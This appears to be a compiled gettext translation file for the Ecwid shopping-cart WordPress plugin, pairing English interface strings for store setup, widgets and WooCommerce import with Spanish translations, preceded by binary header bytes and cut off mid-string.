���`���”��ç��|��ó��«�������`��ä���¡�������<�������Œ��e���+�������A���‡��=������Ù��ø������¾���§���¥��)���‚����Q��Í���ì���Ô��Â���Ý���Ë��˜��‹��è��f��!��ë��� ���b��a���M��{�������<��7�����‘���¼�������������¯���Û�������ï������H��Ù���Ì���6��O��s���`����������9��Ÿ���*�������Æ��-��}���"�����æ��¤��r���à���œ���0������������ä��{������������������ö��������‰����������l��H����������v����d��/��­��� ��]���t���p�����2��ƒ���·������d��„������g���æ���U���‘������C��Ô���¶��w��­��×�����[���l�����������ü���Ø����������<��Ó��“���›�� ���o���1��� ����� ��è���V��f���¦���N�� ��E������Ÿ��•������������������Ó������� ��Ö��ø���������Û����������/������,��������~���������¼������������Ú��!������[��®��n�����������_��"��ò���(�������2���J��x��h���_��½�� ��ÿ���÷���o������M���‹���4��=��8���ÿ��ê�������2��Ð��� ��4�������Á��„���m�������Å��›�������²���������ì��5��n��I���;���•��)������6��L��V���������—���+��Ü��+��A��������������������š��Ê���Y��B��F������ �������)��Õ���é���m��i��ö���ý������5���^������|���z�������������È���´�����U����������x�����������\��ù��q���å���†������O���ô������Š���ç���V����������b��ð�������¡������������˜���ˆ�������¢��Á���ñ���Y�������������.��·���D������ã����������ê��B�������G��s��¬��Ì��µ�������R�����T��ñ��e���������� Choose another product� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s�%s Blog�%s Shopping Cart�%s Store�%s Store Page�%s plugin doesn't work well with my "%s" theme�%s product�%s products�%s products and %s categories�%s products and categories�%s shopping cart settings�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�(You will be able to confirm the changes before the actual import)�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�<a href="admin.php?page=�<b>%s</b> categories�A slug is the last part of a URL. You can create a custom slug for your store page. It’s better to keep it short since customers and search engines prefer short URLs. For example, use "/shop" or "/products".�Action required: please connect your %s account�Add Product�Add Store�Add Store Page to Menu�Add a category page�Add a product page�Add a search and filters page�Add a store page�Add an Online Store to Your Website�Add border�Add cart and checkout page�Add categories�Add store page to the site menu�Add storefront (product listing)�Add to Menu�Add your %s store to the website and start selling in minutes.�Add your store to other site pages�Add your storefront to the website home page to make it more prominent. You can also tweak the site home page settings in <a href="%s" target="_blank">WordPress Settings > Reading</a>�Additional store pages�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Adjust your store design to fit your business needs.�Admin Label�Advanced�Advanced settings�After import, your %s store will have �All Sales Channels�Along with the store catalog, you can add other widgets and texts to the store page.�Appearance�Apps�Available qty in stock�Back to Store Settings�Background color�Bag�Basket�Before You Go�Border�Border:�Bottom left�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy Now�Buy Now Button�Buy now buttons�By continuing, you agree to the <a %s>Terms of Service</a> and <a %s>Privacy Policy</a>.�CSS Class�CSS ID�Can you share the name of the plugin you chose?�Can you share your feedback? What was wrong?�Cancel�Cart�Cart and Checkout�Cart icon�Cart icon:�Catalog�Categories�Category�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Change�Change store content�Choose Product�Choose product�Choose product properties to display in widget�Choose the main store page�Choose widgets to show�Click the connect button to get rights to update the product catalog�Color settings�Complete Setup�Complete setup and start selling�Configuration�Congratulations!�Connect�Connect Your Store�Connect your %s store�Connect your store�Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again.�Contact Support�Contact us�Content�Copying products and categories.�Create Cart Page�Create Category Page�Create Product Page�Create Search Page�Create Store�Create Store Page�Create a landing page featuring one of your products.�Create a new %s account which you will use to manage your store and inventory. The registration is free.�Create a new store or connect an existing one, if you already have an %s account. The plugin will guide you through store setup and help publish it on your website.�Create new account�Create store�Current Page�Current URL slug: /<span data-ec-store-slug>%s</span>�Customer Single Sign-On�Customers�Customers can’t see your store page because it’s in draft. Publish the page to make it available for your customers.�Customers go to the cart page to review products they’ve added to the cart and proceed to the checkout.�Customize design�Customize store appearance�Customize store page address�Customize widget�Customize your store’s appearance to fit your business needs. Give your store the exact look and feel that reflects your brand.�Cyan bluish gray�Dashboard�Default category�Default category ID�Default product_ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Design�Design and content�Detect automatically�Disconnect store�Display a buy button�Display breadcrumbs�Display cart icon�Display categories menu�Display categories navigation bar�Display category page�Display footer menu�Display product page with description and a buy button�Display product with a buy button�Display search box�Display search page with filters on a side�Display shopping bag link and summary�Display shopping cart�Display shopping cart and checkout page�Display sign in link�Display sort by link�Display the shopping cart icon on site pages�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a list of random products.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do not show�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Done�Download <a href="%s">import log</a>�Download log file�Draft�E.g. How to set up shipping�Ecwid Badge�Ecwid Ecommerce�Ecwid Ecommerce Shopping Cart�Ecwid Menu Item�Ecwid allows you to upload your products in a form of CSV file. Learn more about this tool in the Ecwid Help Center�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit�Edit Appearance�Edit Category�Edit Product�Edit Store�Edit URL Slug�Edit page�Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page.�Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space.�Enter your Store ID�Enter your Store ID here:�Extensions for your Store�Feature a specific store category on a separate page of your site.�Feature your products in the sidebar�Filters�Filters panel position�Find your Store ID�First Page�Frequently Asked Questions�Get %s mobile app�Go to Pages�Go to Your %s Products�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Help customers find your store on the site. Add the store link to the site menu, create additional store pages, and highlight store products on other site pages and in sidebars.�Help customers find your store on the website.�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Here you can create the content that will be used within the module.�Here, we will help you uploading your product catalog to %s from another shopping cart or other sources.�Hide�Highlight products, categories, and other store pages by adding them to separate website pages.�Highlight your best sellers or new products in the website sidebar.�Horizontal indent�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I already have an account, sign in�I couldn’t find a WordPress theme that goes well with %s�I found a better plugin�I have a problem using this plugin�I have a problem with my %s store�I use this WordPress theme: %s�Icon�Icon and item count�Icon, label and item count�Icon, label, item count and subtotal�Icon, label, item count, subtotal and link�If you have a moment, please let us know why you are deactivating:�Image and title on mouse over�Image feed�Image gallery layout�Image only�Import�Import Your Products From Woocommerce to %s�Import completed�Import completed. <a href="%s">Run again.</a>�Import creates new products and update the existing products with matching SKUs.�Import is in Progress�Import my products from WooCommerce�Import product catalog from WooCommerce�Import product catalog from other sources�Import products to your %s store�Import summary�Import your WooCommerce catalog to %s�Import your products from WooCommerce to %s�Import your products from Woocommerce to %s�Imported <b>%s</b> products�Importing %s of %s items�Insert�Insert into page�Instant site�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�It's a temporary deactivation. Please do not ask me again.�Item count only�Justify�Knowledge Base�L�Label and item count�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Layout�Layout:�Learn more�Left�Light green cyan�Link color�Linked product�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�Luminous vivid amber�Luminous vivid orange�M�Make your store accessible from the site menu so your customers can easily find it.�Manage Sidebar�Manage Store on iPhone, iPad or Android�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�Manage store�Manage storefront�Marketing�Mobile�My Account�My Profile�My Sales�Name�Navigation�Need help importing your products from WooCommerce to %s?�Never show this message again�Next Page�Next page�No Thanks�No border�Not synchronized yet�Note: when enabled, the cart widget is always displayed in preview to make it easier to customize it. The "Show on store pages" and "Show when empty" options will apply to the cart widget on site when published�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store�Online Store Apps�Online store�Open control panel�Open store dashboard�Options�Orders�Other�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Page with that name already exists.�Pale cyan blue�Pale pink�Part of the products have not been copied to %1$s, because you reached the products limit on your pricing plan in %1$s. If you want to import more products, please consider <nobr><a %2$s>upgrading your %1$s plan.</a></nobr>�Payment�Personalize your storefront's appearance and edit the content on the store page to reflect your brand and stay connected with your customers.�Pick Category�Pick Product�Picture�Pill�Please mind the maximum number of products and categories you can have in your Ecwid store. This import tool will automatically stop when the store products limit is reached. To check the current store limit or increase it, please see the <nobr><a %s target="_blank">"Billing & Plans"</a></nobr> page in your Ecwid store control panel.�Please subscribe to a paid plan to get this feature.�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preview�Previous Page�Price�Price color�Product�Product Card Large�Product Card Small�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product Search Box�Product Search and filters�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Promote your store�Provide access.�Provided by <a %s>%s</a>�Publish�Publish Store Page�Publish the page to use this option�Published�Quantity�Questions?�Random Product�Random Products�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Recently Viewed Products�Recommendations for Your Online Store�Rectangle�Refresh categories list�Register at %s�Report a problem with the store�Reports�Right�S�SKU�Sales�Sales channels�Save�Save and connect your %s store to the site�Save changes�Search�Search and Filters�Search products�Search the Knowledge Base�See more�Select All�Select category�Selected Product�Selected category�Sell on Facebook�Send Message�Send a message to our support team�Send message failed�Set Up Your Store�Set manually�Set up your store�Settings�Setup�Shipping & Pickup�Shop�Shopping Cart�Shopping Cart (deprecated)�Shopping Cart Floating (deprecated)�Shopping Cart Icon�Shopping Cart Mini (deprecated)�Shopping Cart Widget�Show�Show additional image on hover�Show categories�Show customers that they can use a search and filters to find desired products faster.�Show description under the image�Show minicart�Show on all pages�Show on hover�Show on store pages�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Show when empty�Show your store on the home page�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Small icon�Small icon and item count�Some of the items could not be imported.�Sorry we're having technical difficulties.�Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: "The Wordpress function wp_remote_post() failed to connect a remote server because of some error: "%s". Seems like HTTP POST requests are disabled on this server". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>.�Square 1:1�Start Import�Status�Stay connected with your customers. Update the content of your store anytime to tell customers about ongoing promotions and what's new in your store.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Categories Menu�Store Category Page�Store Front Page�Store Home Page�Store ID�Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the "Dashboard" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration.�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel on the <a %2$s>Dashboard page</a>.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store appearance�Store elements�Store management�Store page content�Store page on your site�Store root category�Store with Categories Menu�Storefront�Subject�Submit & Deactivate�Switch to draft�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Take advantage of powerful apps and extensions designed to enhance your store.�Text�Text color�Thank you for choosing %s to build your online store�The block is hidden because you don't have categories in your store. <a target="_blank" href="admin.php?page=ec-store-admin-category-id-0-mode-edit">Add categories.</a>�The category that is shown by default on the Store Front Page�The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps.�The plugin doesn't support the feature I want�The shopping cart icon shows the number of items in the cart and helps customers proceed to the checkout. Additionally, you can <a href="%s" target="_blank">adjust the cart icon appearance</a>.�The store is not visible on your site�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�This import will copy your WooCommerce products and categories to your %s store.�This is a demo store. Create your store to see your store products here.�This will change the label of the module in the builder for easy identification.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To add your store to your website, put your %1$s Store ID in the field below. If you don't have an %1$s account yet, create one for free on the <a %2$s>%1$s website</a>.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To manage your store, go to <a %s>the Store Dashboard page</a>�To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission.�To show your storefront instead of the demo store, connect your existing %s account or create a new one.�To start selling, add a page to your site where the storefront will display.�Top left�Top right�Try another search.�Type in your message here�URL Slug�Update�Update your catalog�Upgrade to get this feature�Vertical indent�Vertical thumbnails�Very dark gray�Very light gray�View Store Page�View demo store page�View store page�Visit storefront�Vivid cyan blue�Vivid green cyan�Vivid red�Want to connect another %s store?�Warning: some of your online store features are disabled. Please contact your hosting provider to resolve.�We found you have a WooCommerce installed. Your WooCommerce store has %1$s products and %2$s categories. Would you like to import it to %3$s?�We noticed you have WooCommerce installed. If you want to easily copy your WooCommerce products to %s, this tool will help you.�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Website�What feature do you need?�What was wrong?�What's next?�While your store is not connected, a demo store displays on your site. Check it to get the idea of how your store may look on the site.�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the entire storefront, categories, products, or "Buy now" buttons to other pages on your site. To do that, open a page in the editor and add an appropriate %s block.�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can control your store look and feel on the <a %s>Design settings page</a> in your store control panel.�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can enable filters in the store settings: (“<a target="_blank" href="admin.php?page=ec-store-admin-product-filters-mode-main">Settings → Product Filters</a>â€).�You can send a new request here.�You have not viewed any product yet. Open store.�You will be able to sign up through your existing Google, Facebook or PayPal profiles as well.�Your %s store has �Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your Storefront�Your WooCommerce store has �Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store has been created. Preparing your store dashboard ...�Your store is added to several pages on the site. Choose the main page. Customers are directed to the main store page when they click on the cart icon, store links in the site menu, and products in the sidebar.�Your store is almost ready!�Your store is not added to any page on your site. To let customers browse your store and place orders, create a page where the store will display.�Your store page�Your store page is currently in draft. Once you are ready, publish it to let customers browse the store and place orders.�Your store page is published. Customers can browse your store at �Your store will be shown here�Your store will be shown here!�Your storefront (product listing and checkout) is working fine, but the advanced store functions like SEO and sidebar widgets are disabled. To enable them and make sure your store works properly, please press the button below to connect your %s account. This will take less than a minute — you will only be asked to log in to your account and allow this site to get your store data.�[%s] WordPress plugin deactivation feedback (store ID: %s)�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�http://www.ecwid.com?partner=wporg�https://ecwid.to/ecwid-site�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/208079105-Importing-products�https://support.ecwid.com/hc/en-us/search�https://www.ecwid.com/blog�or <a %s>Browse the Help Center�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�selected product�vc-tabOnline store�«Buy now» button�PO-Revision-Date: 2020-10-12 12:46 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 2.4.1 Language: es Project-Id-Version: temporary-strings X-Crowdin-Project: temporary-strings X-Crowdin-Project-ID: 295314 X-Crowdin-Language: es-ES X-Crowdin-File: /Wordpress Plugin/wp-plugins-ecwid-shopping-cart-stable.po X-Crowdin-File-ID: 988 Language-Team: Spanish Last-Translator: � Elegir otro producto� ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve.�Etiqueta de productos «En existencia»�%s�Blog de %s�Carrito de compras de %s�Tienda de %s�Página de la tienda de %s�El complemento %s no funciona bien con mi tema «%s»�%s producto�%s productos�%s productos y %s categorías�%s productos y categorías�Configuraciones del carrito de compras de %s�%s almacena los datos de sus productos de forma segura en la nube. Las páginas de productos se muestran sobre la marcha cuando un cliente navega por su tienda. Por lo que, básicamente, los productos no se almacenan en el sitio web, por eso la búsqueda en el sitio web no encuentra páginas de productos mientras busca en las páginas del sitio web y en las publicaciones. Esta opción habilita un modo de almacenamiento local: los productos se almacenarán tanto en la nube como en su sitio web. Los resultados de la búsqueda en el sitio web incluirán las páginas de productos, así como las páginas o publicaciones habituales de su sitio web.�%s — Configuración avanzada�(podrá confirmar los cambios antes de la importación definitiva)�2 columnas, imagen a la izquierda�2 columnas, imagen a la derecha�3 columnas, imagen a la izquierda�3 columnas, imagen a la derecha�<a %s>Tienda en línea con tecnología de %s</a>�<a %s>Volver a conectar</a>�<a href="admin.php?page=�<b>%s</b> categorías�Un «slug» es la última parte de una URL. Puede crear un «slug» personalizado para la página de su tienda. Es mejor que sea corto, ya que los clientes y los motores de búsqueda prefieren las URL cortas. Por ejemplo, utilice «/tienda» o «/productos».�Acción requerida: conecte su cuenta de %s�Añadir producto�Añadir tienda�Añadir la página de la tienda al menú�Añadir una página de categoría�Añadir página de productos�Añadir una página de búsqueda y filtros�Añadir una página de tienda�Añadir una tienda en línea a su sitio web�Añadir borde�Añadir carrito y página de pago�Añadir categorías�Añadir la página de la tienda al menú del sitio web�Añadir escaparate virtual (listado de productos)�Añadir al menú�Añada su tienda de %s al sitio web y comience a vender en minutos.�Añada su tienda a otras páginas del sitio web�Añada su escaparate virtual a la página de inicio del sitio web para que sea más notable. También puede modificar la configuración de la página de inicio del sitio web en <a href="%s" target="_blank">Configuración de WordPress > Lectura</a>.�Páginas adicionales de la tienda�Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>.�Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito.�Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito.�Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web.�Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda.�Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda.�Ajuste el diseño de su tienda para que se adapte a las necesidades de su negocio.�Etiqueta de administrador�Avanzado�Configuraciones avanzadas�Después de la importación, su tienda de %s tendrá �Todos los canales de venta�Junto con el catálogo de la tienda, puede añadir otros «widgets» y textos a la página de la tienda.�Apariencia�Aplicaciones�Cantidad disponible en existencia�Regresar a la configuración de la tienda�Color del fondo�Bolsa�Cesta�Antes de que se vaya�Borde�Borde:�Abajo a la izquierda�Abajo a la derecha�Migas de pan�Explorar todos los productos.�Buscar por categoría�Importar en masa productos y categorías a su tienda de %s�Color del botón�Comprar ahora�Botón «Comprar ahora»�Botones de «Comprar ahora»�Al continuar, acepta los <a %s>Términos de servicio</a> y la <a %s>Política de privacidad</a>.�Clase CSS�ID de CSS�¿Podría compartir el nombre del complemento que ha elegido?�¿Podría compartir su opinión? ¿Qué fue lo que pasó?�Cancelar�Carrito�Carrito y pago�Icono del carrito de compras�Icono del carrito:�Catálogo�Categorías�Categoría�Apariencia de la lista de categorías�Diseño de la ficha de categoría�Categoría mostrada por defecto�Relación de aspecto de la miniatura de la categoría�Tamaño de la miniatura de la categoría�Centrado�Centrar la alineación en una página�Cambiar�Cambiar el contenido de la tienda�Elegir producto�Elegir producto�Elija las propiedades del producto para mostrarlas en el «widget»�Elegir la página principal de la tienda�Elija los «widgets» a mostrar�Haga clic en el botón «Conectar» para obtener los permisos para actualizar el catálogo de productos�Configuración de colores�Completar configuración�Complete la configuración y comience a vender�Configuración�¡Enhorabuena!�Conectar�Conecte su tienda�Conecte su tienda de %s�Conecte su tienda�Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo.�Ponerse en contacto con la asistencia�Póngase en contacto con nosotros�Contenido�Copia de productos y categorías.�Crear página del carrito�Crear página de categorías�Crear página de productos�Crear página de búsqueda�Crear tienda�Crear la página de la tienda�Cree una página de aterrizaje con uno de sus productos.�Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito.�Cree una nueva tienda o, si ya tiene una cuenta de %s, conéctela. El complemento le guiará a través de la configuración de la tienda y le ayudará a publicarla en su sitio web.�Crear una nueva cuenta�Crear tienda�Página actual�«Slug» actual de la dirección URL: /<span data-ec-store-slug>%s</span>�Inicio de sesión único del cliente�Clientes�Los clientes no pueden ver la página de su tienda porque está en un borrador. Publique la página para que esté disponible para sus clientes.�Los clientes van a la página del carrito para consultar los productos que han añadido al mismo y proceder con el pago.�Personalizar el diseño�Personalizar la apariencia de la tienda�Personalizar la dirección de la página de la tienda�Personalizar «widget»�Personalice la apariencia de su tienda para que se ajuste a las necesidades de su negocio. Cree la apariencia para su tienda que más se parezca a su marca.�Gris cian azulado�Panel�Categoría predeterminada�ID de categoría predeterminada�ID del producto predeterminado�Modo de vista predeterminado en las páginas de productos�Modo de vista predeterminado en los resultados de búsqueda�Productos eliminados sincronizados: %1$s de %2$s�Tienda de demostración�Tienda de demostración�Diseño�Diseño y contenido�Detectar automáticamente�Desconectar tienda�Mostrar un botón de compra�Mostrar migas de pan�Mostrar icono del carrito�Mostrar el menú de categorías�Mostrar la barra de navegación de las categorías�Mostrar la página de categorías�Mostrar el menú del pie de página�Mostrar la página de productos con la descripción y un botón de compra�Mostrar el producto con un botón de compra�Mostrar el cuadro de búsqueda�Mostrar página de búsqueda con los filtros a un lado�Mostrar enlace y resumen de la bolsa de compras�Mostrar el carrito de compras�Mostrar el carrito de compras y la página de pago�Mostrar el enlace de inicio de sesión�Mostrar «ordenar por enlace»�Muestre el icono del carrito de compras en las páginas del sitio web�Producto mostrado�Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web.�Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda.�Muestra una lista de productos aleatorios.�Muestra un producto aleatorio de su tienda para atraer la atención del cliente.�Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda.�Muestra el escaparate virtual: listado de productos y pago�Muestra los últimos productos añadidos de su tienda. Muestre nuevos productos a los clientes existentes para impulsar las ventas repetidas.�No mostrar�¿Le gusta Ecwid y quiere ayudarlo a crecer? Puede añadir este elegante distintivo «Powered by Ecwid» en su sitio web para mostrarles a sus visitantes que es un usuario orgulloso de Ecwid.�¿Le gusta su tienda de %s en línea? Apreciaríamos si comparte su opinión y vota por el complemento en el sitio de WordPress.�Hecho�Descargar <a href="%s">registro de importación</a>�Descargar archivo de registro�Borrador�Por ejemplo, cómo establecer el envío�Distintivo de Ecwid�Comercio electrónico Ecwid�Carrito de compras del comercio electrónico de Ecwid�Elemento del menú de Ecwid�Ecwid le permite subir sus productos en forma de archivo CSV. Obtenga más información sobre esta herramienta en el centro de asistencia de Ecwid�«Widget» de comercio electrónico de Ecwid�Solución de comercio electrónico de Ecwid�Carrito de compras gratuito de Ecwid�Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">Más detalles.</a>�Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos.�Ecwid es compatible con cualquier tema de WordPress. Ya sea un tema gratuito del catálogo de WordPress.org, un tema prémium de un proveedor externo o un tema personalizado; su tienda de Ecwid funcionará bien con cualquiera de ellos. Si desea un tema prémium, le recomendamos <a href="%s">temas de TemplateMonster</a>.�Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">Más detalles.</a>�Carrito de compras de Ecwid�«Widget» de carrito de compras de Ecwid�Editar�Editar apariencia�Editar categoría�Editar producto�Editar tienda�Editar «slug» de la dirección URL�Editar página�Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web.�Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio.�Introduzca el ID de su tienda�Introduzca el ID de su tienda aquí:�Extensiones para su tienda�Destacar una categoría de la tienda específica en una página separada de su 